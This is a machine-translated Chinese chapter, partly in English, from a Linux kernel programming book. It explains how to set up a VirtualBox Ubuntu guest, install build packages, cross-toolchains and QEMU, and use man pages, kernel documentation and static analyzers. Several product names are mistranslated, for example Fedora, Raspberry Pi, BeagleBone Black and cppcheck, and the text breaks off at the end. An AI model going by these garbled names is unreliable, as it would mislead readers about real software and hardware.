-大家好,欢迎阅读这本书,学习 Linux 内核开发。为了充分利用这本书,首先设置我们将在整本书中使用的工作空间环境是非常重要的。本章将教你如何做到这一点并开始。 - -我们将安装一个最新的 Linux 发行版,最好是作为一个**虚拟机** ( **VM** ),并将其设置为包含所有需要的软件包。我们还将在 GitHub 上克隆这本书的代码库,并了解一些有助于这一旅程的有用项目。 - -最好的学习方法是凭经验去做*–*不要相信任何人的话,而是自己去尝试和体验。因此,这本书为你提供了许多实践实验和内核代码示例,你可以而且必须亲自尝试;这将极大地帮助您取得真正的进步,并深入学习和理解 Linux 内核和驱动程序开发的各个方面。那么,让我们开始吧! - -本章将带我们了解以下主题,这些主题将帮助我们设置环境: - -* 将 Linux 作为来宾虚拟机运行 -* 设置软件-分发和软件包 -* 一些额外的有用项目 - -# 技术要求 - -您将需要一台现代台式电脑或笔记本电脑。Ubuntu Desktop 为发行版的安装和使用指定了以下“推荐系统要求”: - -* 2 GHz 双核处理器或更好。 -* 随机存取存储器: - * 在物理主机上运行:2 GB 或更多系统内存(更多肯定会有帮助)。 - * 作为来宾虚拟机运行:主机系统应该至少有 4 GB 内存(越多越好,体验越流畅)。 -* 25 GB 的可用硬盘空间(我建议更多,至少是这个的两倍)。 -* 安装媒体的 DVD 驱动器或 USB 端口(将 Ubuntu 设置为来宾虚拟机时不需要)。 -* 互联网接入肯定是有用的,有时也是必需的。 - -由于从源代码构建 Linux 内核之类的任务是一个非常消耗内存和 CPU 的过程,我强烈建议您在一个功能强大的 Linux 系统上尝试一下,该系统还有大量的内存和磁盘空间可供使用。这应该是非常明显的——主机系统的内存和中央处理器越多越好! - -像任何经验丰富的内核贡献者一样,我会说在本地 Linux 系统上工作是最好的。然而,出于本书的目的,我们不能假设您总是有一个专用的本机 Linux 盒子可供您使用。因此,我们将假设您正在 Linux 客户机上工作。在来宾虚拟机中工作还增加了额外的隔离层,从而提高了安全性。 - -**克隆我们的代码库**:这本书的完整源代码可以在[https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Learn-Linux-Kernel-Development)T5 的 GitHub 上免费获得。您可以通过克隆`git`树来克隆和处理它,如下所示: - -```sh -git clone https://github.com/PacktPublishing/Linux-Kernel-Programming.git -``` - -源代码是按章节组织的。每一章都表示为一个目录——例如,`ch1/`有本章的源代码。源代码树的根有一些所有章节通用的代码,例如源文件`convenient.h`、`klib_llkd.c`,以及其他。 - -为了高效的代码浏览,我强烈建议您总是使用`ctags(1)`和/或`cscope(1)`索引代码库。例如,要设置`ctags`索引,只需将`cd`指向源树的根并键入`ctags -R`。 - -Unless noted otherwise, the code output we show in the book is the output as seen on an x86-64 *Ubuntu 18.04.3 LTS* guest VM (running under Oracle VirtualBox 6.1). You should realize that due to (usually minor) distribution – and even within the same distributions but differing versions – differences, the output shown here may not perfectly match what you see on your Linux system. - -# 将 Linux 作为来宾虚拟机运行 - -如前所述,使用本机 Linux 系统的一个实用且方便的替代方法是在虚拟机上安装 Linux 发行版并将其用作来宾操作系统。关键是你要安装一个最新的 Linux 发行版,最好是作为一个虚拟机,以确保安全,避免不愉快的数据丢失或其他意外。事实是,当在内核级别工作时,系统突然崩溃(以及由此产生的数据丢失风险)实际上是常见的事情。我推荐使用 **Oracle VirtualBox 6.x** (或者最新稳定版)或者其他虚拟化软件,比如 **VMware Workstation** *。* - -Both of these are freely available. It's just that the code for this book has been tested on *VirtualBox 6.1*. Oracle VirtualBox is considered **Open Source Software** (**OSS**) and is licensed under the GPL v2 (the same as the Linux kernel). You can download it from [https://www.virtualbox.org/wiki/Downloads](https://www.virtualbox.org/wiki/Downloads). Its documentation can be found here: [https://www.virtualbox.org/wiki/End-user_documentation](https://www.virtualbox.org/wiki/End-user_documentation). - -主机系统应该是 MS Windows 10 或更高版本(当然,即使是 Windows 7 也可以),最近的 Linux 发行版(例如,Ubuntu 或 Fedora),或者 macOS。所以,让我们从安装我们的 Linux 客户机开始。 - -## 安装 64 位 Linux 客户机 - -在这里,我就不深究在 Oracle VirtualBox 上以来宾身份安装 Linux 的细枝末节了,原因是这次安装是*而不是*与 Linux 内核开发直接相关。设置 Linux 虚拟机的方法有很多;我们真的不想在这里讨论细节和每个细节的利弊。 - -但是如果你不熟悉这个,不用担心。为了您的方便,这里有一些优秀的资源可以帮助您: - -* 一个写得非常清楚的教程,名为*使用 VirtualBox* 在 Windows 内部安装 Linux,作者是 Abhishek Prakash ( *这是自由/开源软件!,2019 年 8 月*):[https://itsfoss.com/install-linux-in-virtualbox/](https://itsfoss.com/install-linux-in-virtualbox/)。 - -* 另一个同样优秀的资源是*在 Oracle VirtualBox 上安装 Ubuntu:*[https://brb.nci.nih.gov/seqtools/installUbuntu.html](https://brb.nci.nih.gov/seqtools/installUbuntu.html)。 - -此外,您可以在本章末尾的*进一步阅读*部分中查找在 VirtualBox 上安装 Linux 客户机的有用资源。 - -安装 Linux 虚拟机时,请记住以下几点。 - -### 开启 x86 系统的虚拟化扩展支持 - -安装 64 位 Linux 客户机需要在主机系统的**基本输入/输出系统** ( **BIOS** )设置中打开 CPU 虚拟化扩展支持(英特尔 VT-x 或 AMD-SV)。让我们看看如何做到这一点: - -1. 我们的第一步是确保我们的 CPU 支持虚拟化: - 1. **在 Windows 主机上有两种方法可以检查这一点**: - * 第一,运行任务管理器应用并切换到性能选项卡。在中央处理器图表下方,您将看到虚拟化,后面是启用或禁用。 - * 检查 Windows 系统的第二种方法是打开命令窗口(cmd)。在命令提示符下,键入`systeminfo`并按*回车。*在看到的输出中将有`Virtualization Enabled in firmware`线。接下来是`Yes`或者`No`。 - 2. **要在 Linux 主机**上进行检查,请从终端发出以下命令(处理器虚拟化扩展支持:`vmx`是对英特尔处理器的检查,`smv`是对 AMD 处理器的检查): - -```sh -egrep --color "vmx|svm" /proc/cpuinfo -``` - -对于英特尔处理器,如果支持虚拟化,将显示`vmx`标志(彩色)。在 AMD 处理器的情况下,`svm`将显示(彩色)。有了这些,我们知道我们的 CPU 支持虚拟化。但是为了使用它,我们需要在计算机 BIOS 中启用它。 - -2. 开机时按下*德尔*或 *F12* 进入基本输入输出系统(具体按键因基本输入输出系统而异)。请参考您的系统手册,了解使用哪把钥匙。搜索`Virtualization`或`Virtualization Technology (VT-x)`等术语。以下是奖励基本输入输出系统的示例: - -![](img/f726f692-0094-4d88-be5e-9463bc726e4d.png) - -Figure 1.1 – Setting the BIOS Virtualization option to the Enabled state If you are using an Asus EFI-BIOS, you will have to set the entry to `[Enabled]` if it is not set by default. Visit [https://superuser.com/questions/367290/how-to-enable-hardware-virtualization-on-asus-motherboard/375351#375351](https://superuser.com/questions/367290/how-to-enable-hardware-virtualization-on-asus-motherboard/375351#375351). [](https://superuser.com/questions/367290/how-to-enable-hardware-virtualization-on-asus-motherboard/375351#375351) - -3. 现在,选择在 VirtualBox 的设置菜单中为您的虚拟机使用硬件虚拟化。为此,单击系统,然后单击加速。然后,选中这些框,如下图所示: - -![](img/ef4952e6-cc8b-4846-9d18-13e8025cec6b.png) - -Figure 1.2 – Enabling hardware virtualization options within the VirtualBox VM settings - -这就是我们如何启用主机处理器的硬件虚拟化功能以获得最佳性能。 - -### 为磁盘分配足够的空间 - -对于大多数台式机/笔记本电脑系统,为来宾虚拟机分配 1gb 的内存和两个 CPU 就足够了。 - -但是,在为客人的磁盘分配空间时,请慷慨一些。我强烈建议您将其设为 50 GB 或更高,而不是通常/默认的 8 GB 建议。当然,这意味着主机系统有更多的可用磁盘空间!另外,您可以将该金额指定为*动态分配的*或*按需分配的*。虚拟机管理程序将以最佳方式“增长”虚拟磁盘,而不是一开始就给它整个空间。 - -### 安装甲骨文虚拟磁盘盒来宾附加组件 - -为了获得最佳性能,在来宾虚拟机中安装 Oracle VirtualBox 来宾操作系统也很重要。这些基本上都是准虚拟化加速器软件,大大有助于实现最佳性能。让我们看看如何在 Ubuntu 来宾会话中做到这一点: - -1. 首先,更新你的 Ubuntu 客户操作系统的软件包。您可以使用以下命令来执行此操作: - -```sh -sudo apt update - -sudo apt upgrade -``` - -2. 完成后,重新启动您的 Ubuntu 来宾操作系统,然后使用以下命令安装所需的软件包: - -```sh -sudo apt install build-essential dkms linux-headers-$(uname -r) -``` - -3. 现在,从虚拟机菜单栏中,转到设备|插入来宾添加光盘映像....这将在您的虚拟机中挂载`Guest Additions ISO`文件。下面的截图显示了这样做的效果: - -![](img/bbcefcd3-b8d5-46b0-9af2-a3699d50f329.png) - -Figure 1.3 – VirtualBox | Devices | Insert Guest Additions CD image - -4. 现在,将弹出一个对话框,提示您运行安装程序以启动它。选择运行。 -5. 来宾添加安装现在将在显示的终端窗口中进行。完成后,点击*进入*键关闭窗口。然后,关闭 Ubuntu 客户操作系统,以便从 VirtualBox 管理器更改一些设置,如下所述。 - -6. 现在,要在客户机和主机之间启用共享剪贴板和拖放功能,请转到“常规”|“高级”并使用下拉菜单根据您的需要启用两个选项(共享剪贴板和拖放): - -![](img/9db7cf3c-20d6-489f-b8f9-6279c60521ec.png) - -Figure 1.4 – VirtualBox: enabling functionality between the host and guest - -7. 然后,单击确定保存设置。现在引导到您的客户系统,登录,并测试一切正常。 - -As of the time of writing, Fedora 29 has an issue with the installation of the `vboxsf` kernel module required for the Shared Folders feature. I refer you to the following resource to attempt to rectify the situation: *Bug 1576832* *- virtualbox-guest-additions does not mount shared folder (*[https://bugzilla.redhat.com/show_bug.cgi?id=1576832](https://bugzilla.redhat.com/show_bug.cgi?id=1576832)). [](https://bugzilla.redhat.com/show_bug.cgi?id=1576832) If this refuses to work, you can simply transfer files between your host and guest VM over SSH (using `scp(1)`); to do so, install and start up the SSH daemon with the following commands: -`sudo yum install openssh-server` -`sudo systemctl start sshd` - -请记住定期更新来宾虚拟机,并在出现提示时进行更新。这是一项基本的安全要求。您可以通过以下方式手动完成: - -```sh -sudo /usr/bin/update-manager -``` - -最后,为了安全起见,请不要在来宾虚拟机上保留任何重要数据。我们将致力于内核开发。来宾内核崩溃实际上是一件平常的事情。虽然这通常不会导致数据丢失,但你永远无法判断!为了安全起见,请务必备份任何重要数据。这也适用于软呢帽。要了解如何将 Fedora 安装为 VirtualBox 来宾,请访问[https://fedoramagazine.org/install-fedora-virtualbox-guest/](https://fedoramagazine.org/install-fedora-virtualbox-guest/)。 - -Sometimes, especially when the overhead of the X Window System (or Wayland) GUI is too high, it's preferable to simply work in console mode. You can do so by appending `3` (the run level) to the kernel command line via the bootloader. However, working in console mode within VirtualBoxmay not be that pleasant an experience (for one, the clipboard is unavailable, and the screen size and fonts are less than desirable). Thus, simply doing a remote login (via `ssh`, `putty`, or equivalent) into the VM from the host system can be a great way to work. - -## 树莓皮的实验 - -树莓皮是一种受欢迎的信用卡大小的单板计算机,很像一台小型电脑,有通用串行总线端口、microSD 卡、HDMI、音频、以太网、GPIO 等。为其供电的**片上系统** ( **SoC** )来自博通,其中是 ARM 内核或内核集群。当然,虽然不是强制性的,但在本书中,我们也努力在树莓 Pi 3 模型 B+目标上测试和运行我们的代码。在不同的目标架构上运行您的代码总是让您对可能的缺陷大开眼界,并且有助于测试。我鼓励你也这样做: - -![](img/fabfea5e-4563-44ca-82c9-8bb1987f03d8.png) - -Figure 1.5 – The Raspberry Pi with a USB-to-serial adapter cable attached to its GPIO pins - -您可以使用数字监视器/电视(通过 HDMI 作为输出设备)和传统键盘/鼠标(通过其 USB 端口)或者(更常见的是,对于开发人员)通过远程 Shell(通过`ssh(1)`)来操作树莓 Pi 目标。然而,SSH 方法并不能在所有情况下都切断它。在树莓 Pi 上有一个*串行控制台*会有所帮助,尤其是在进行内核调试的时候。 - -I would recommend that you check out the following article, which will help you set up a USB-to-serial connection, thus getting a console login to the Raspberry Pi from a PC/laptop: *WORKING ON THE CONSOLE WITH THE RASPBERRY PI,* kaiwanTECH: [https://kaiwantech.wordpress.com/2018/12/16/working-on-the-console-with-the-raspberry-pi/](https://kaiwantech.wordpress.com/2018/12/16/working-on-the-console-with-the-raspberry-pi/). - -要设置您的树莓酱,请参考官方文档:[https://www.raspberrypi.org/documentation/](https://www.raspberrypi.org/documentation/)。我们的树莓 Pi 系统运行的是“官方”的树莓(Debian for 树莓 Pi) Linux 操作系统,带有最近(在撰写本文时)的 4.14 Linux 内核。在树莓 Pi 的控制台上,我们运行以下命令: - -```sh -rpi $ lsb_release -a -No LSB modules are available. -Distributor ID: Raspbian -Description: Raspbian GNU/Linux 9.6 (stretch) -Release: 9.6 -Codename: stretch -rpi $ uname -a -Linux raspberrypi 4.14.79-v7+ #1159 SMP Sun Nov 4 17:50:20 GMT 2018 armv7l GNU/Linux -rpi $ -``` - -如果你没有树莓皮,或者它不方便怎么办?嗯,总有办法的——模仿!虽然不如拥有真实的东西,但是用强大的**自由开放源码软件** ( **自由/开源软件**)仿真器 **QEMU** 或**快速仿真器**模仿树莓皮至少是一个不错的入门方式。 - -As the details of setting up the emulated Raspberry Pi via QEMU go beyond the scope of this book, we will not be covering it. However, you can check out the following links to find out more: *Emulating Raspberry Pi on Linux*: [http://embedonix.com/articles/linux/emulating-raspberry-pi-on-linux/](http://embedonix.com/articles/linux/emulating-raspberry-pi-on-linux/)and *qemu-rpi-kernel, GitHub*: [https://github.com/dhruvvyas90/qemu-rpi-kernel/wiki](https://github.com/dhruvvyas90/qemu-rpi-kernel/wiki). - -当然,你也不必局限于树莓皮家族;还有其他几种优秀的原型板可供选择。脑海中浮现的是流行的**比格犬黑** ( **BBB** )板。 - -In fact, for professional development and product work, the Raspberry Pi is really not the best choice, for several reasons... a bit of googling will help you understand this. Having said that, as a learning and basic prototyping environment it's hard to beat, with the strong community (and tech hobbyist) support it enjoys. - -Several modern choices of microprocessors for embedded Linux (and much more) are discussed and contrasted in this excellent in-depth article: *SO YOU WANT TO BUILD AN EMBEDDED LINUX SYSTEM?*, Jay Carlson, Oct 2020 : [https://jaycarlson.net/embedded-linux/](https://jaycarlson.net/embedded-linux/); do check it out. - -到目前为止,我预计您已经将 Linux 设置为来宾机器(或者正在使用本机“测试”Linux 盒子),并且已经克隆了该书的 GitHub 代码存储库。到目前为止,我们已经介绍了一些关于将 Linux 设置为来宾虚拟机的信息(以及可选地使用诸如树莓皮或比格犬骨之类的板)。现在让我们进入一个关键步骤:在我们的 Linux 来宾系统上实际安装软件组件,以便我们可以在系统上学习和编写 Linux 内核代码! - -# 设置软件-分发和软件包 - -建议使用以下或更高版本的稳定版 Linux 发行版之一。如前所述,它们总是可以作为来宾操作系统安装在 Windows 或 Linux 主机系统上,明确的首选是 Ubuntu Linux 18.04 LTS 桌面*。*下面的截图展示了推荐的版本和用户界面: - -![](img/91a46630-3243-4577-91bd-28e1c2c94fad.png) - -Figure 1.6 – Oracle VirtualBox 6.1 running Ubuntu 18.04.4 LTS as a guest VM - -之前的版本——Ubuntu 18.04 LTS 桌面**——**至少是这本书的首选版本。两个主要原因很简单: - -* Ubuntu Linux 是当今业界使用的最流行的 Linux(内核)开发工作站环境之一,如果不是*的话。* -* 由于缺乏空间和清晰度,我们不能总是在本书中展示多个环境的代码/构建输出。因此,我们选择显示在 Ubuntu 18.04 LTS 桌面上看到的输出。 - -Ubuntu 16.04 LTS Desktop is a good choice too (it has **Long-Term Support** (**LTS**) as well), and everything should work. To download it, visit [https://www.ubuntu.com/download/desktop](https://www.ubuntu.com/download/desktop). - -也可以考虑的一些其他 Linux 发行版包括: - -* **CentOS 8 Linux(不是 CentOS Stream)** : CentOS Linux 是一个发行版,本质上是从红帽(在我们的例子中是 RHEL 8)流行的企业服务器发行版的克隆。可以从这里下载:[https://www.centos.org/download/](https://www.centos.org/download/)。 -* **Fedora 工作站** : Fedora 也是一个非常知名的 FOSS Linux 发行版。你可以把它看作是项目和代码的一种测试平台,最终会在红帽的企业产品中落地。从[https://getfedora.org/](https://getfedora.org/)下载(下载软呢帽工作站镜像)。 -* **树莓派作为目标**:设置你的树莓派真的最好参考官方文档(*树莓派文档*:[https://www.raspberrypi.org/documentation/](https://www.raspberrypi.org/documentation/))。也许值得注意的是,树莓皮“套件”是广泛可用的,完全预装,以及一些硬件附件。 - -If you want to learn how to install a Raspberry Pi OS image on an SD card, visit [https://www.raspberrypi.org/documentation/installation/installing-img/](https://www.raspberrypi.org/documentation/installation/installing-img/). - -* **作为目标的 BeagleBone Black**:BBB 就像树莓 Pi 一样,是一款非常受业余爱好者和专业人士欢迎的嵌入式 ARM SBC。您可以从这里开始:[https://beagleboard.org/black](https://beagleboard.org/black)。BBB 的系统参考手册可以在这里找到:[https://cdn . sparkfun . com/数据表/Dev/Beagle/BBB_SRM_C.pdf](https://cdn.sparkfun.com/datasheets/Dev/Beagle/BBB_SRM_C.pdf) 。虽然我们没有给出在 BBB 上运行的例子,但是,这是一个有效的嵌入式 Linux 系统,一旦正确设置,您就可以在上面运行这本书的代码。 - -在我们结束为本书选择软件发行版的讨论之前,还有几点需要注意: - -* 这些发行版在默认形式下是自由/开源软件和非专有的,作为最终用户可以自由使用。 -* 虽然我们的目标是不依赖于 Linux 发行版,但代码只在 Ubuntu 18.04 LTS 上测试过,并在 CentOS 8 上进行了“轻度”测试,运行 Raspbian GNU/Linux 9.9 (stretch)基于 Debian 的 Linux 操作系统的树莓 Pi 3 模型 B+也进行了测试。 -* 我们将尽可能使用最新的(截至撰写本文时)**稳定的 LTS** - **Linux 内核版本 5.4** 来进行内核构建和代码运行。作为一个 LTS 内核,5.4 内核是一个运行和学习的绝佳选择。 - -It is interesting to know that the 5.4 LTS kernel will indeed have a long lifespan; from November 2019 right up to December 2025! This is good news: this book's content remains current and valid for years to come! - -* 对于这本书,我们将以名为`llkd`的用户账号登录。(你能猜到`llkd`是什么意思吗?代表**学习 Linux 内核开发**。) - -It's important to realize, for maximized security (with the latest defenses and fixes), that you must run the most recent **Long Term Support** (**LTS**) kernel possible for your project or product. - -现在我们已经选择了我们的 Linux 发行版和/或硬件板和虚拟机,是时候安装必要的软件包了。 - -## 安装软件包 - -当您使用典型的 Linux 桌面发行版时,默认情况下安装的包,例如任何最新的 Ubuntu、CentOS 或 Fedora Linux 系统,将包括系统程序员所需的最小集:本机工具链,包括带有头文件的`gcc`编译器和`make`实用程序/包。 - -不过,在本书中,我们将学习如何使用运行在外部处理器上的虚拟机和/或目标系统(ARM 或 AArch64 是典型的情况)编写内核空间代码。为了在这些系统上有效地开发内核代码,我们需要安装一些软件包。继续读。 - -### 安装甲骨文虚拟磁盘盒来宾附件 - -确保您已经安装了来宾虚拟机(如前所述)。然后,跟着走: - -1. 登录到您的 Linux 来宾虚拟机,并首先在终端窗口(在 Shell 上)中运行以下命令: - -```sh -sudo apt update -sudo apt install gcc make perl -``` - -2. 立即安装甲骨文虚拟磁盘盒来宾添加程序。参考*如何在 Ubuntu 中安装 VirtualBox Guest Additions:*[https://www . tec mint . com/Install-VirtualBox-Guest-Additions-in-Ubuntu/](https://www.tecmint.com/install-virtualbox-guest-additions-in-ubuntu/)。 - -This only applies if you are running Ubuntu as a VM using Oracle VirtualBox as the hypervisor app. - -### 安装所需的软件包 - -要安装软件包,请执行以下步骤: - -1. 在 Ubuntu 虚拟机中,首先执行以下操作: - -```sh -sudo apt update -``` - -2. 现在,在一行中运行以下命令: - -```sh -sudo apt install git fakeroot build-essential tar ncurses-dev tar xz-utils libssl-dev bc stress python3-distutils libelf-dev linux-headers-$(uname -r) bison flex libncurses5-dev util-linux net-tools linux-tools-$(uname -r) exuberant-ctags cscope sysfsutils gnome-system-monitor curl perf-tools-unstable gnuplot rt-tests indent tree pstree smem libnuma-dev numactl hwloc bpfcc-tools sparse flawfinder cppcheck tuna hexdump openjdk-14-jre trace-cmd virt-what -``` - -首先执行安装`gcc`、`make`和`perl`的命令,以便随后可以正确安装甲骨文虚拟箱客户添加。这些(来宾添加)本质上是准虚拟化加速器软件。安装它们以获得最佳性能非常重要。 - -This book, at times, mentions that running a program on another CPU architecture – typically ARM – might be a useful exercise. If you want to try (interesting!) stuff like this, please read on; otherwise, feel free to skip ahead to the *Important installation notes* section. - -### 安装交叉工具链和 QEMU - -在 ARM 机器上进行尝试的一种方法是在基于 ARM 的物理 SBC 上进行;例如,树莓皮是非常受欢迎的选择。在这种情况下,典型的开发工作流程是首先在 x86-64 主机系统上构建 ARM 代码。但要做到这一点,我们需要安装一个**交叉工具链**——一套工具,允许你在一个主机 CPU 上构建软件,该软件被设计成在不同的*目标* CPU 上执行。x86-64 *主机*为 ARM *目标*构建程序是非常常见的情况,也确实是我们这里的用例。关于安装交叉编译器的细节很快就会出现。 - -通常,尝试的另一种方法是模拟 ARM/Linux 系统,这样可以减少对硬件的需求!为此,我们建议使用一流的 **QEMU** 项目([https://www.qemu.org/](https://www.qemu.org/))。 - -要安装所需的 QEMU 包,请执行以下操作: - -* 要在 Ubuntu 上安装,请使用以下命令: - -```sh -sudo apt install qemu-system-arm -``` - -* 要在 Fedora 上安装,请使用以下命令: - -```sh -sudo dnf install qemu-system-arm- -``` - -To get the version number on Fedora, just type the preceding command and after typing the required package name (here, `qemu-system-arm-`), press the *Tab* key twice. It will auto-complete, providing a list of choices. Choose the latest version and press *Enter*. - -CentOS 8 似乎没有简单的方法来安装我们需要的 QEMU 包。(您总是可以通过源代码安装一个交叉工具链,但这很有挑战性;或者,获得适当的二进制包。)由于这些困难,我们将跳过在 CentOS 上显示交叉编译。 - -### 安装交叉编译器 - -如果您打算编写一个在某个主机系统上编译但必须在另一个目标系统上执行的 C 程序,那么您需要使用所谓的交叉编译器或交叉工具链来编译它。例如,在我们的用例中,我们希望在 x86-64 主机上工作。它甚至可以是 x86-64 来宾虚拟机,没有问题,但是在 ARM-32 目标上运行我们的代码: - -* 在 Ubuntu 上,您可以通过以下方式安装交叉工具链: - -```sh -sudo apt install crossbuild-essential-armhf -``` - -前面的命令安装了一个 x86_64 到 ARM-32 的工具链,适用于 ARM-32“硬浮动”(armhf)系统(如树莓 Pi);这通常很好。导致`arm-linux-gnueabihf-`套工具被安装;其中``代表`addr2line`、`as`、`g++`、`gcc`、`gcov`、`gprof`、`ld`、`nm`、`objcopy`、`objdump`、`readelf`、`size`、`strip`等交叉工具。(本例中的交叉编译器前缀为`arm-linux-gnueabihf-`)。此外,虽然不是强制性的,但是您可以这样安装`arm-linux-gnueabi-`交叉工具集: - -```sh -sudo apt install gcc-arm-linux-gnueabi binutils-arm-linux-gnueabi -``` - -* 在 Fedora 上,您可以通过以下方式安装交叉工具链: - -```sh -sudo dnf install arm-none-eabi-binutils-cs- arm-none-eabi-gcc-cs- -``` - -For Fedora Linux, the same tip as earlier applies – use the *Tab* key to help auto-complete the command. - -安装和使用交叉工具链可能需要新手用户进行一些阅读。你可以访问*进一步阅读*部分,我在那里放置了一些有用的链接,这肯定会有很大的帮助。 - -## 重要安装注意事项 - -我们现在将提到剩下的几点,其中大部分与软件安装或处理特定发行版时的其他问题有关: - -* 在 CentOS 8 上,您可以使用以下命令安装 Python: - -```sh -sudo dnf install python3 -``` - -然而,这实际上并没有创建(必需的)**符号链接** ( **符号链接**)、`/usr/bin/python`;为什么不呢?详情请查看此链接:[https://developers . RedHat . com/blog/2019/05/07/what-no-python-in-red-hat-enterprise-Linux-8/](https://developers.redhat.com/blog/2019/05/07/what-no-python-in-red-hat-enterprise-linux-8/)。 [](https://developers.redhat.com/blog/2019/05/07/what-no-python-in-red-hat-enterprise-linux-8/) - -要手动创建符号链接,例如,`python3`,请执行以下操作: - -```sh -sudo alternatives --set python /usr/bin/python3 -``` - -* 如果没有安装 OpenSSL 头文件,内核构建可能会失败。使用以下方法在 CentOS 8 上修复此问题: - -```sh -sudo dnf install openssl-devel -``` - -* 在 CentOS 8 上,`lsb_release`实用程序可以通过以下方式安装: - -```sh -sudo dnf install redhat-lsb-core -``` - -* 在 Fedora 上,执行以下操作: - * 安装这两个包,确保在 Fedora 系统上构建内核时满足依赖关系: - `sudo dnf install openssl-devel-1:1.1.1d-2.fc31 elfutils-libelf-devel` (前面的`openssl-devel`包以相关的 Fedora 版本号为后缀(`.fc31`在这里;根据您系统的需要进行调整)。 - * 要使用`lsb_release`命令,必须安装`redhat-lsb-core`包。 - -恭喜你!这就完成了软件设置,你的内核之旅开始了!现在,让我们检查一些额外的和有用的项目来完成这一章。当然也建议你通读这些。 - -# 其他有用的项目 - -本节为您带来了一些额外的杂项项目的细节,您可能会发现这些项目确实非常有用。在本书的几个适当的地方,我们引用或直接利用了其中的一些,从而使它们对理解很重要。 - -让我们从众所周知且重要的 Linux *手册页*项目开始。 - -## 使用 Linux 手册页 - -您一定注意到了大多数 Linux/Unix 文献中遵循的惯例: - -* *用户命令*的后缀为`(1)`,例如`gcc(1)`或`gcc.1` -* *系统用`(2)`调用*,例如`fork(2)`或`fork().2` -* *带`(3)`的库 APIS*–例如`pthread_create(3)`或`pthread_create().3` - -如您所知,括号中(或句点后)的数字表示所讨论的命令/API 所属的**手册**(T4 手册页)部分。通过`man man`命令快速查看`man(1)`(这就是我们喜欢 Unix/Linux 的原因!)展示了 Unix/Linux 手册的各个部分: - -```sh -$ man man -[...] -A section, if provided, will direct man to look only in that section of -the manual. [...] - - The table below shows the section numbers of the manual followed by the types of pages they contain. - - 1 Executable programs or shell commands - 2 System calls (functions provided by the kernel) - 3 Library calls (functions within program libraries) - 4 Special files (usually found in /dev) - 5 File formats and conventions eg /etc/passwd - 6 Games - 7 Miscellaneous (including macro packages and conventions), e.g. - man(7), groff(7) - 8 System administration commands (usually only for root) - 9 Kernel routines [Non standard] -[...] -``` - -例如,要查找`stat(2)`系统调用的手册页,您可以使用以下内容: - -```sh -man 2 stat # (or: man stat.2) -``` - -有时(事实上,经常如此),当只需要一个快速的回答时,页面太过详细,不值得通读。进入`tldr`项目–继续阅读! - -### tldr 变体 - -当我们讨论`man`页面时,一个常见的烦恼是命令上的`man`页面有时太大。以`ps(1)`效用为例。它有一个很大的`man`页面,当然,它有大量的选项开关。不过,有一个简化和总结的“常用”页面不是很好吗?这正是`tldr` pages 项目的目标。 - -**TL;DR** literally means **Too Long; Didn't Read***.* - -用他们自己的话说,他们提供了*“*简化和社区驱动的手册页。”因此,一旦安装完毕,`tldr ps`提供了最常用的`ps`命令选项开关的简明摘要,以做一些有用的事情: - -![](img/f281cdbd-b86d-4d95-a259-292f88b7dbac.png) - -Figure 1.7 – A screenshot of the tldr utility in action: tldr ps All Ubuntu repos have the `tldr` package. Install it with `sudo apt install tldr`. - -确实值得一探究竟。如果你有兴趣了解更多,请访问 https://tldr.sh/。 - -之前,我们说过用户空间系统调用属于手册页的第 2 部分,库子程序属于第 3 部分,内核 API 属于第 9 部分。既然如此,那么在这本书里,我们为什么不把`printk`内核函数(或 API)指定为`printk(9)`–就像`man man`告诉我们手册的`9`部分是*内核例程*?嗯,这是虚构的,真的(至少在今天的 Linux 上):*内核 API 实际上不存在手册页!*那么,如何获取内核 API 等方面的文档呢?这就是我们将在下一节简要探讨的内容。 - -## 找到并使用 Linux 内核文档 - -经过多年的努力,该社区已经将 Linux 内核文档开发并发展成一个良好的状态。内核文档的*最新版本*以一种漂亮而现代的“网络”风格呈现,可以在这里在线访问:[https://www.kernel.org/doc/html/latest/](https://www.kernel.org/doc/html/latest/)。 - -Of course, as we will mention in the next chapter, the kernel documentation is always available for that kernel version within the kernel source tree itself, in the directory called `Documentation/`. - -作为在线内核文档的一个例子,请参见*核心内核文档* / *基本 C 库函数*([https://www . Kernel . org/doc/html/latest/Core-API/Kernel-API . html # Basic-C 库函数](https://www.kernel.org/doc/html/latest/core-api/kernel-api.html#basic-c-library-functions))页面的以下部分截图: - -![](img/5f8728dc-ed53-421d-bc38-56544a1c832e.png) - -Figure 1.8 – Partial screenshot showing a small part of the modern online Linux kernel documentation - -从截图中可以看出,现代文档相当全面。 - -### 从源代码生成内核文档 - -您可以从内核源代码树中以各种流行的格式(包括 PDF、HTML、LaTeX、EPUB 或 XML)以类似 *Javadoc* 或*Doxygen*的风格生成完整的 Linux 内核文档。内核内部使用的现代文档系统称为**狮身人面像**。在内核源代码树中使用`make help`会显示几个*文档目标*,其中有`htmldocs`、`pdfdocs`等等。因此,您可以,例如,`cd`到内核源代码树并运行`make pdfdocs`以 PDF 文档的形式构建完整的 Linux 内核文档(PDF 以及其他一些元文档将被放在`Documentation/output/latex`中)。至少第一次,您可能会被提示安装几个软件包和实用程序(我们没有明确显示)。 - -Don't worry if the preceding details are not crystal clear yet. I suggest you first read [Chapter 2](02.html), *Building the 5.x Linux Kernel from Source – Part 1*, and [Chapter 3](03.html), *Building the 5.x Linux Kernel from Source – Part 2*, and then revisit these details. - -## Linux 内核的静态分析工具 - -静态分析器是通过检查源代码来识别其中潜在错误的工具。作为开发人员,它们对您非常有用,尽管您必须学会如何“驯服”它们——因为它们会导致误报。 - -有几种有用的静态分析工具。其中,与 Linux 内核代码分析更相关的包括以下内容: - -* 稀疏:[https://sparse.wiki.kernel.org/index.php/Main_Page](https://sparse.wiki.kernel.org/index.php/Main_Page) -* 瓢虫:[http://coccinelle.lip6.fr/](http://coccinelle.lip6.fr/)(需要安装`ocaml`套装) -* smatch:[http://smatch.sourceforge.net/](http://smatch.sourceforge.net/)[http://repo.or.cz/w/smatch.git](http://repo.or.cz/w/smatch.git) -* flawfinder:[https://dwheeler.com/flawfinder/](https://dwheeler.com/flawfinder/) -* cppchuck:【https://github . com/danmar/cppchuck】 - -例如,要安装并尝试稀疏,请执行以下操作: - -```sh -sudo apt install sparse -cd -make C=1 CHECK="/usr/bin/sparse" -``` - -还有几种高质量的商业静态分析工具可供使用。其中包括: - -* SonarQube:[https://www.sonarqube.org/](https://www.sonarqube.org/)(有免费的开源社区版) -* 隐蔽扫描:[https://scan.coverity.com/](https://scan.coverity.com/) -* 克洛斯沃克:[https://www.meteonic.com/klocwork](https://www.meteonic.com/klocwork) - -`clang` 